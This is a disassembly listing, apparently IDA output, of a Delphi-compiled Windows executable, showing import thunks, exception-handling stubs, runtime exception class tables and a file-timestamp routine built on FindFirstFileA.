XREF: sub_404420+3Fp jmp ds:dword_40B1E8 sub_4035F8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403600 proc near ; CODE XREF: sub_404420+26p jmp ds:dword_40B1E4 sub_403600 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403608 proc near ; CODE XREF: sub_404420+1Bp jmp ds:dword_40B1E0 sub_403608 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403610 proc near ; CODE XREF: sub_406264+3Fp jmp ds:dword_40B1DC sub_403610 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403618 proc near ; CODE XREF: sub_4062D8+19p jmp ds:dword_40B1D8 sub_403618 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403620 proc near ; CODE XREF: sub_407AC0+1Dp jmp ds:dword_40B1D4 sub_403620 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403628 proc near ; CODE XREF: sub_404520+21p jmp ds:dword_40B1D0 sub_403628 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403630 proc near ; CODE XREF: sub_40797C+55p jmp ds:dword_40B1CC sub_403630 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403638 proc near ; CODE XREF: sub_40513C+1Ep ; sub_405188+13p ... jmp ds:dword_40B1C8 sub_403638 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403640 proc near ; CODE XREF: CODE:004056E9p ; CODE:00405704p ... jmp ds:dword_40B1C4 sub_403640 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403648 proc near ; CODE XREF: sub_40685C+6p jmp ds:dword_40B1C0 sub_403648 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403650 proc near ; CODE XREF: sub_40685C+17p ; sub_4070E0+98p ... jmp ds:dword_40B1BC sub_403650 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403658 proc near ; CODE XREF: CODE:00405875p ; CODE:00405890p jmp ds:dword_40B1B8 sub_403658 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403660 proc near ; CODE XREF: sub_406350+F4p jmp ds:dword_40B1B4 sub_403660 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403668 proc near ; CODE XREF: sub_4051EC+1Cp ; sub_4053C4+18p ... jmp ds:dword_40B1B0 sub_403668 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403670 proc near ; CODE XREF: sub_406094+Ep jmp ds:dword_40B1AC sub_403670 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403678 proc near ; CODE XREF: sub_4070E0+70p ; sub_4075F4+2Ap ... jmp ds:dword_40B1A8 sub_403678 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403680 proc near ; CODE XREF: sub_4070E0+3C3p jmp ds:dword_40B1A4 sub_403680 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403688 proc near ; CODE XREF: CODE:004056C5p ; sub_405CFC+6Bp jmp ds:dword_40B1A0 sub_403688 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403690 proc near ; CODE XREF: CODE:0040587Bp ; CODE:00405896p jmp ds:dword_40B19C sub_403690 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403698 proc near ; CODE XREF: sub_4061A0+Dp jmp ds:dword_40B208 sub_403698 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4036A0 proc near ; CODE XREF: sub_406350+11Fp ; sub_406350+130p jmp ds:dword_40B204 sub_4036A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4036A8 proc near ; CODE XREF: CODE:0040579Ap ; CODE:004058B8p jmp ds:dword_40B200 sub_4036A8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4036B0 proc near ; CODE XREF: CODE:004058CEp jmp ds:dword_40B1FC sub_4036B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4036B8 proc near ; DATA XREF: CODE:00407B44o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_4036DD push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A6A4 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4036E4 loc_4036DC: ; CODE XREF: sub_4036B8+2Aj retn ; --------------------------------------------------------------------------- loc_4036DD: ; DATA XREF: sub_4036B8+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4036DC ; --------------------------------------------------------------------------- loc_4036E4: ; CODE XREF: sub_4036B8:loc_4036DCj ; DATA XREF: sub_4036B8+1Fo pop ebp retn sub_4036B8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4036E8 proc near ; DATA XREF: CODE:00407B40o sub ds:dword_40A6A4, 1 retn sub_4036E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4036F0 proc near ; DATA XREF: CODE:00407B4Co push ebp mov ebp, esp xor eax, eax push ebp push offset loc_403715 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A6A8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40371C loc_403714: ; CODE XREF: sub_4036F0+2Aj retn ; --------------------------------------------------------------------------- loc_403715: ; DATA XREF: sub_4036F0+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_403714 ; --------------------------------------------------------------------------- loc_40371C: ; CODE XREF: sub_4036F0:loc_403714j ; DATA XREF: sub_4036F0+1Fo pop ebp retn sub_4036F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_403720 proc near ; DATA XREF: CODE:00407B48o sub ds:dword_40A6A8, 1 retn sub_403720 endp ; --------------------------------------------------------------------------- off_403728 dd offset dword_40A694 ; DATA XREF: DATA:off_409308o dd 0FFF0h off_403730 dd offset dword_40A694 ; DATA XREF: DATA:off_409300o dd 0FFF1h off_403738 dd offset dword_40A694 ; DATA XREF: DATA:off_40934Co dd 0FFF2h off_403740 dd offset dword_40A694 ; DATA XREF: DATA:off_4093E8o dd 0FFF3h off_403748 dd offset dword_40A694 ; DATA XREF: DATA:off_4092C0o dd 0FFF4h off_403750 dd offset dword_40A694 ; DATA XREF: DATA:off_4093B0o dd 0FFF5h off_403758 dd offset dword_40A694 ; DATA XREF: DATA:off_409384o dd 0FFF6h off_403760 dd offset dword_40A694 ; DATA XREF: DATA:off_4092ECo dd 0FFF7h off_403768 dd offset dword_40A694 ; DATA XREF: DATA:off_409310o dd 0FFF8h off_403770 dd offset dword_40A694 ; DATA XREF: DATA:off_4093F4o dd 0FFF9h off_403778 dd offset dword_40A694 ; DATA XREF: DATA:off_4093F0o dd 0FFFAh off_403780 dd offset dword_40A694 ; DATA XREF: DATA:off_409350o dd 0FFFBh off_403788 dd offset dword_40A694 ; DATA XREF: DATA:off_4093FCo dd 0FFFCh off_403790 dd offset dword_40A694 ; DATA XREF: DATA:off_40940Co dd 0FFFDh off_403798 dd offset dword_40A694 ; DATA XREF: DATA:off_409388o dd 0FFFEh off_4037A0 dd offset dword_40A694 ; DATA XREF: DATA:off_409398o dd 0FFFFh off_4037A8 dd offset dword_40A694 ; DATA XREF: DATA:off_409390o dd 0FFE0h off_4037B0 dd offset dword_40A694 ; DATA XREF: DATA:off_409408o dd 0FFE1h off_4037B8 dd offset dword_40A694 ; DATA XREF: DATA:off_4093E4o dd 0FFE2h off_4037C0 dd offset dword_40A694 ; DATA XREF: DATA:off_409340o dd 0FFE3h off_4037C8 dd offset dword_40A694 ; DATA XREF: DATA:off_409344o dd 0FFE4h off_4037D0 dd offset dword_40A694 ; DATA XREF: DATA:off_4093ECo dd 0FFE5h off_4037D8 dd offset dword_40A694 ; DATA XREF: DATA:off_409404o dd 0FFE6h off_4037E0 dd offset dword_40A694 ; DATA XREF: DATA:off_409304o dd 0FFE7h off_4037E8 dd offset dword_40A694 ; DATA XREF: DATA:off_4090F8o ; DATA:off_409314o dd 0FFE8h off_4037F0 dd offset dword_40A694 ; DATA XREF: DATA:off_4090FCo ; DATA:off_409354o dd 0FFE9h off_4037F8 dd offset dword_40A694 ; DATA XREF: DATA:off_4092BCo dd 0FFEAh off_403800 dd offset dword_40A694 ; DATA XREF: DATA:off_409410o ; --------------------------------------------------------------------------- jmp short near ptr loc_403804+1 ; CODE XREF: CODE:loc_403804j ; --------------------------------------------------------------------------- align 4 off_403808 dd offset dword_40A694 ; DATA XREF: DATA:off_4093A8o dd 0FFECh off_403810 dd offset dword_40A694 ; DATA XREF: DATA:off_409358o dd 0FFEDh off_403818 dd offset dword_40A694 ; DATA XREF: DATA:off_4093C8o dd 0FFEEh off_403820 dd offset dword_40A694 ; DATA XREF: DATA:off_409374o dd 0FFEFh off_403828 dd offset dword_40A694 ; DATA XREF: DATA:off_409368o dd 0FFD0h off_403830 dd offset dword_40A694 ; DATA XREF: DATA:off_409328o dd 0FFD1h off_403838 dd offset dword_40A694 ; DATA XREF: DATA:off_4092D8o dd 0FFD2h off_403840 dd offset dword_40A694 ; DATA XREF: DATA:off_4093B4o dd 0FFD3h off_403848 dd offset dword_40A694 ; DATA XREF: DATA:off_409360o dd 0FFD4h off_403850 dd offset dword_40A694 ; DATA XREF: DATA:off_4093A4o dd 0FFD5h off_403858 dd offset dword_40A694 ; DATA XREF: DATA:off_4093D4o dd 0FFD6h off_403860 dd offset dword_40A694 ; DATA XREF: DATA:off_409318o dd 0FFD7h dd offset dword_40A694 ; DATA XREF: DATA:off_4093CCo dd 0FFD8h off_403870 dd offset dword_40A694 ; DATA XREF: DATA:off_409110o ; DATA:off_409400o dd 0FFD9h off_403878 dd offset dword_40A694 ; DATA XREF: DATA:off_409114o ; DATA:off_409378o dd 0FFDAh off_403880 dd offset dword_40A694 ; DATA XREF: DATA:off_409118o ; DATA:off_4093E0o dd 0FFDBh off_403888 dd offset dword_40A694 ; DATA XREF: DATA:off_40911Co ; DATA:off_4092B8o dd 0FFDCh off_403890 dd offset dword_40A694 ; DATA XREF: DATA:off_409120o ; DATA:off_4092E8o dd 0FFDDh off_403898 dd offset dword_40A694 ; DATA XREF: DATA:off_409124o ; DATA:off_409414o dd 0FFDEh off_4038A0 dd offset dword_40A694 ; DATA XREF: DATA:off_409128o ; DATA:off_4093D0o dd 0FFDFh off_4038A8 dd offset dword_40A694 ; DATA XREF: DATA:off_40912Co ; DATA:off_4092D0o dd 0FFC0h off_4038B0 dd offset dword_40A694 ; DATA XREF: DATA:off_409130o ; DATA:off_40930Co dd 0FFC1h off_4038B8 dd offset dword_40A694 ; DATA XREF: DATA:off_409134o ; DATA:off_40937Co ; --------------------------------------------------------------------------- retn 0FFh ; --------------------------------------------------------------------------- align 10h off_4038C0 dd offset dword_40A694 ; DATA XREF: DATA:off_409138o ; DATA:off_4093D8o ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0FFh, 2 dup(0) off_4038C8 dd offset dword_40A694 ; DATA XREF: DATA:off_40913Co ; DATA:off_4093F8o dd 0FFC4h off_4038D0 dd offset dword_40A694 ; DATA XREF: DATA:off_409140o ; DATA:off_40935Co dd 0FFC5h off_4038D8 dd offset dword_40A694 ; DATA XREF: DATA:off_409144o ; DATA:off_4092C4o dd 0FFC6h off_4038E0 dd offset dword_40A694 ; DATA XREF: DATA:off_409148o ; DATA:off_409330o dd 0FFC7h off_4038E8 dd offset dword_40A694 ; DATA XREF: DATA:off_40914Co ; DATA:off_40936Co dd 0FFC8h off_4038F0 dd offset dword_40A694 ; DATA XREF: DATA:off_409150o ; DATA:off_40938Co dd 0FFC9h off_4038F8 dd offset dword_40A694 ; DATA XREF: DATA:off_409154o ; DATA:off_409364o ; --------------------------------------------------------------------------- retf 0FFh ; --------------------------------------------------------------------------- align 10h off_403900 dd offset dword_40A694 ; DATA XREF: DATA:off_409158o ; DATA:off_40931Co ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0FFh, 2 dup(0) off_403908 dd offset dword_40A694 ; DATA XREF: DATA:off_40915Co ; DATA:off_409370o db 0CCh db 0FFh, 2 dup(0) off_403910 dd offset dword_40A694 ; DATA XREF: DATA:off_409160o ; DATA:off_4093B8o dd 0FFCDh off_403918 dd offset dword_40A694 ; DATA XREF: DATA:off_409164o ; DATA:off_4092C8o dd 0FFCEh off_403920 dd offset dword_40A694 ; DATA XREF: DATA:off_409168o ; DATA:off_409324o dd 0FFCFh off_403928 dd offset dword_40A694 ; DATA XREF: DATA:off_40916Co ; DATA:off_40933Co dd 0FFB0h off_403930 dd offset dword_40A694 ; DATA XREF: DATA:off_409170o ; DATA:off_40939Co dd 0FFB1h off_403938 dd offset dword_40A694 ; DATA XREF: DATA:off_409174o ; DATA:off_4093BCo dd 0FFB2h off_403940 dd offset dword_40A694 ; DATA XREF: DATA:off_409178o ; DATA:off_4093C4o dd 0FFB3h off_403948 dd offset dword_40A694 ; DATA XREF: DATA:off_40917Co ; DATA:off_409380o dd 0FFB4h off_403950 dd offset dword_40A694 ; DATA XREF: DATA:off_409180o ; DATA:off_4092F4o dd 0FFB5h off_403958 dd offset dword_40A694 ; DATA XREF: DATA:off_409184o ; DATA:off_409394o dd 0FFB6h off_403960 dd offset dword_40A694 ; DATA XREF: DATA:off_409188o ; DATA:off_409348o dd 0FFB7h off_403968 dd offset dword_40A694 ; DATA XREF: DATA:off_40918Co ; DATA:off_4092E4o dd 0FFB8h off_403970 dd offset dword_40A694 ; DATA XREF: DATA:off_409190o ; DATA:off_4092F0o dd 0FFB9h off_403978 dd offset dword_40A694 ; DATA XREF: DATA:off_409194o ; DATA:off_4092F8o dd 0FFBAh off_403980 dd offset dword_40A694 ; DATA XREF: DATA:off_409198o ; DATA:off_4092CCo dd 0FFBBh off_403988 dd offset dword_40A694 ; DATA XREF: DATA:off_40919Co ; DATA:off_4093ACo dd 0FFBCh off_403990 dd offset dword_40A694 ; DATA XREF: DATA:off_4091A0o ; DATA:off_4092DCo dd 0FFBDh off_403998 dd offset dword_40A694 ; DATA XREF: DATA:off_4091A4o ; DATA:off_4093DCo dd 0FFBEh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4039A0 proc near ; DATA XREF: CODE:00407B54o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_4039C5 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A6AC xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4039CC loc_4039C4: ; CODE XREF: sub_4039A0+2Aj retn ; --------------------------------------------------------------------------- loc_4039C5: ; DATA XREF: sub_4039A0+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4039C4 ; --------------------------------------------------------------------------- loc_4039CC: ; CODE XREF: sub_4039A0:loc_4039C4j ; DATA XREF: sub_4039A0+1Fo pop ebp retn sub_4039A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4039D0 proc near ; DATA XREF: CODE:00407B50o sub ds:dword_40A6AC, 1 retn sub_4039D0 endp ; --------------------------------------------------------------------------- off_4039D8 dd offset dword_403A24 ; DATA XREF: CODE:00403A68o ; CODE:00403B20o ... dd 2 dup(0) dd offset dword_403A24 dd 4 dup(0) dd offset word_403A36 dd 0Ch dd offset off_40100C dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403A24 dd 0Eh, 10000h ; CODE:004039E4o ... db 2 dup(0) dd offset off_401000 dw 4 db 2 dup(0) word_403A36 dw 4509h ; DATA XREF: CODE:004039F8o dd 70656378h, 6E6F6974h off_403A40 dd offset dword_403A8C ; DATA XREF: CODE:00403AC4o ; CODE:00403F4Co dd 7 dup(0) dd offset dword_403A8C dd 10h dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_405A74 dd offset sub_401F40 dword_403A8C dd 6548450Eh, 78457061h, 74706563h, 906E6F69h ; CODE:00403A60o off_403A9C dd offset dword_403AE8 ; DATA XREF: sub_405FA4+8r dd 7 dup(0) dd offset dword_403AE8 dd 10h dd offset off_403A40 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_405A74 dd offset sub_401F40 dword_403AE8 dd 754F450Ch, 4D664F74h, 726F6D65h, 408D79h ; CODE:00403ABCo off_403AF8 dd offset dword_403B44 ; DATA XREF: sub_405AA0+2Dr ; sub_405AA0+4Cr dd 7 dup(0) dd offset dword_403B44 dd 10h dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403B44 dd 6E49450Bh, 4574754Fh, 726F7272h ; CODE:00403B18o off_403B50 dd offset dword_403B9C ; DATA XREF: CODE:00403BD0o ; CODE:00403C30o ... dd 7 dup(0) dd offset dword_403B9C dd 10h dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403B9C dd 78454509h, 6E726574h, 0C08B6C61h ; CODE:00403B70o off_403BA8 dd offset dword_403BF4 ; DATA XREF: sub_405EC8+82r dd 7 dup(0) dd offset dword_403BF4 dd 10h dd offset off_403B50 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403BF4 dd 78454512h, 6E726574h, 78456C61h, 74706563h, 906E6F69h ; DATA XREF: CODE:off_403BA8o ; CODE:00403BC8o ... off_403C08 dd offset dword_403C54 ; DATA XREF: CODE:00403C88o ; CODE:00403CE0o ... dd 7 dup(0) dd offset dword_403C54 dd 10h dd offset off_403B50 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403C54 dd 6E494509h, 72724574h, 0C08B726Fh ; CODE:00403C28o dd offset dword_403CAC dd 7 dup(0) dd offset dword_403CAC dd 10h dd offset off_403C08 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403CAC dd 6944450Ah, 5A794276h, 906F7265h ; CODE:00403C80o ... dd offset dword_403D04 dd 7 dup(0) dd offset dword_403D04 dd 10h dd offset off_403C08 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403D04 dd 6152450Bh, 4565676Eh, 726F7272h ; CODE:00403CD8o ... dd offset dword_403D5C dd 7 dup(0) dd offset dword_403D5C dd 10h dd offset off_403C08 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403D5C dd 6E49450Ch, 65764F74h, 6F6C6672h, 408D77h ; CODE:00403D30o ... off_403D6C dd offset dword_403DB8 ; DATA XREF: CODE:00403DECo ; CODE:00403E44o ... dd 7 dup(0) dd offset dword_403DB8 dd 10h dd offset off_403B50 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403DB8 dd 614D450Ah, 72456874h, 90726F72h ; CODE:00403D8Co dd offset dword_403E10 dd 7 dup(0) dd offset dword_403E10 dd 10h dd offset off_403D6C dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403E10 dd 6E49450Ah, 696C6176h, 90704F64h ; CODE:00403DE4o ... dd offset dword_403E68 dd 7 dup(0) dd offset dword_403E68 dd 10h dd offset off_403D6C dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403E68 dd 655A450Bh, 69446F72h, 65646976h ; CODE:00403E3Co ... dd offset dword_403EC0 dd 7 dup(0) dd offset dword_403EC0 dd 10h dd offset off_403D6C dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403EC0 dd 764F4509h, 6C667265h, 0C08B776Fh ; CODE:00403E94o ... dd offset dword_403F18 dd 7 dup(0) dd offset dword_403F18 dd 10h dd offset off_403D6C dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403F18 dd 6E55450Ah, 66726564h, 90776F6Ch ; CODE:00403EECo ... off_403F24 dd offset dword_403F70 ; DATA XREF: sub_405FA4+1Fr dd 7 dup(0) dd offset dword_403F70 dd 10h dd offset off_403A40 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_405A74 dd offset sub_401F40 dword_403F70 dd 6E49450Fh, 696C6176h, 696F5064h, 7265746Eh ; CODE:00403F44o dd offset dword_403FCC dd 7 dup(0) dd offset dword_403FCC dd 0Ch dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403FCC dd 6E49450Ch, 696C6176h, 73614364h, 408D74h ; CODE:00403FA0o ... off_403FDC dd offset dword_404028 ; DATA XREF: sub_4043CC+Fr dd 7 dup(0) dd offset dword_404028 dd 0Ch dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_404028 dd 6F43450Dh, 7265766Eh, 72724574h, 0C08B726Fh ; CODE:00403FFCo off_404038 dd offset dword_404084 ; DATA XREF: sub_405CFC+122r ; sub_405CFC+17Er dd 7 dup(0) dd offset dword_404084 dd 10h dd offset off_403B50 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_404084 dd 63414510h, 73736563h, 6C6F6956h, 6F697461h, 408D6Eh ; DATA XREF: CODE:off_404038o ; CODE:00404058o ... dd offset dword_4040E4 dd 7 dup(0) dd offset dword_4040E4 dd 10h dd offset off_403B50 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_4040E4 dd 7250450Ah, 6C697669h, 90656765h ; CODE:004040B8o ... dd offset dword_40413C dd 7 dup(0) dd offset dword_40413C dd 10h dd offset off_403B50 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_40413C dd 7453450Eh, 4F6B6361h, 66726576h, 90776F6Ch ; CODE:00404110o ... dd offset dword_404198 dd 7 dup(0) dd offset dword_404198 dd 10h dd offset off_403B50 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_404198 dd 6F434509h, 6F72746Eh, 0C08B436Ch ; CODE:0040416Co ... dd offset dword_4041F0 dd 7 dup(0) dd offset dword_4041F0 dd 0Ch dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_4041F0 dd 6156450Dh, 6E616972h, 72724574h, 0C08B726Fh ; CODE:004041C4o ... off_404200 dd offset dword_40424C ; DATA XREF: sub_405B74+72r dd 7 dup(0) dd offset dword_40424C dd 0Ch dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_40424C dd 73414510h, 74726573h, 466E6F69h, 656C6961h, 408D64h ; DATA XREF: CODE:off_404200o ; CODE:00404220o ... off_404260 dd offset dword_4042AC ; DATA XREF: sub_405C4C+8r dd 7 dup(0) dd offset dword_4042AC dd 0Ch dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_4042AC dd 6241450Eh, 61727473h, 72457463h, 90726F72h ; CODE:00404280o dd offset dword_404308 dd 7 dup(0) dd offset dword_404308 dd 0Ch dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_404308 dd 6E49450Eh, 61436674h, 72457473h, 90726F72h ; CODE:004042DCo ... dd offset dword_404364 dd 7 dup(0) dd offset dword_404364 dd 0Ch dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_404364 dd 61534512h, 61636566h, 78456C6Ch, 74706563h, 906E6F69h ; DATA XREF: CODE:00404318o ; CODE:00404338o ... off_404378 dd offset dword_40437C ; DATA XREF: sub_406B98+8Fr dword_40437C dd 332E0311h, 434h db 0 dd offset off_401000 db 48h, 2 dup(0) db 0 dd offset off_401000 db 8, 53h, 79h dd 69745573h, 0C08B736Ch off_40439C dd offset dword_4043A0 ; DATA XREF: sub_406B98+7Fr dword_4043A0 dd 342E0311h, 434h db 0 dd offset off_401000 db 48h, 2 dup(0) db 0 dd offset off_401000 db 8, 53h, 79h dd 69745573h, 0C08B736Ch, 0FFFFFFFFh, 1 dword_4043C8 dd 24h ; =============== S U B R O U T I N E ======================================= sub_4043CC proc near ; CODE XREF: sub_404654+4Cp push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax push esi push edi mov ecx, ebx mov dl, 1 mov eax, off_403FDC call sub_4059E0 call sub_402308 pop edi pop esi pop ebx retn sub_4043CC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4043F0 proc near ; CODE XREF: sub_40534C+3Ep ; sub_4053C4+34p ... var_8 = dword ptr -8 push ebx push ecx mov ebx, edx mov edx, esp call sub_401B20 cmp [esp+8+var_8], 0 jz short loc_404403 mov eax, ebx loc_404403: ; CODE XREF: sub_4043F0+Fj pop edx pop ebx retn sub_4043F0 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_404410 dd 30h, 0FFFFFFFFh, 2, 312Dh ; DATA:004090F4o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404420 proc near ; CODE XREF: sub_404488+5p var_14C = byte ptr -14Ch var_138 = byte ptr -138h var_C = byte ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEB4h push ebx mov ebx, eax lea eax, [ebp+var_14C] push eax mov eax, ebx call sub_402A38 push eax call sub_403608 ; FindFirstFileA cmp eax, 0FFFFFFFFh jz short loc_404479 push eax call sub_403600 ; FindClose test [ebp+var_14C], 10h jnz short loc_404479 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_138] push eax call sub_4035F8 ; FileTimeToLocalFileTime lea eax, [ebp+var_4] push eax lea eax, [ebp+var_4+2] push eax lea eax, [ebp+var_C] push eax call sub_4035F0 ; FileTimeToDosDateTime test eax, eax jnz short loc_404480 loc_404479: ; CODE XREF: sub_404420+23j ; sub_404420+32j mov [ebp+var_4], 0FFFFFFFFh loc_404480: ; CODE XREF: sub_404420+57j mov eax, [ebp+var_4] pop ebx mov esp, ebp pop ebp retn sub_404420 endp ; =============== S U B R O U T I N E ======================================= sub_404488 proc near ; CODE XREF: sub_406F88+8p push ebx mov ebx, eax mov eax, ebx call sub_404420 inc eax setnz al pop ebx retn sub_404488 endp ; =============== S U B R O U T I N E ======================================= sub_404498 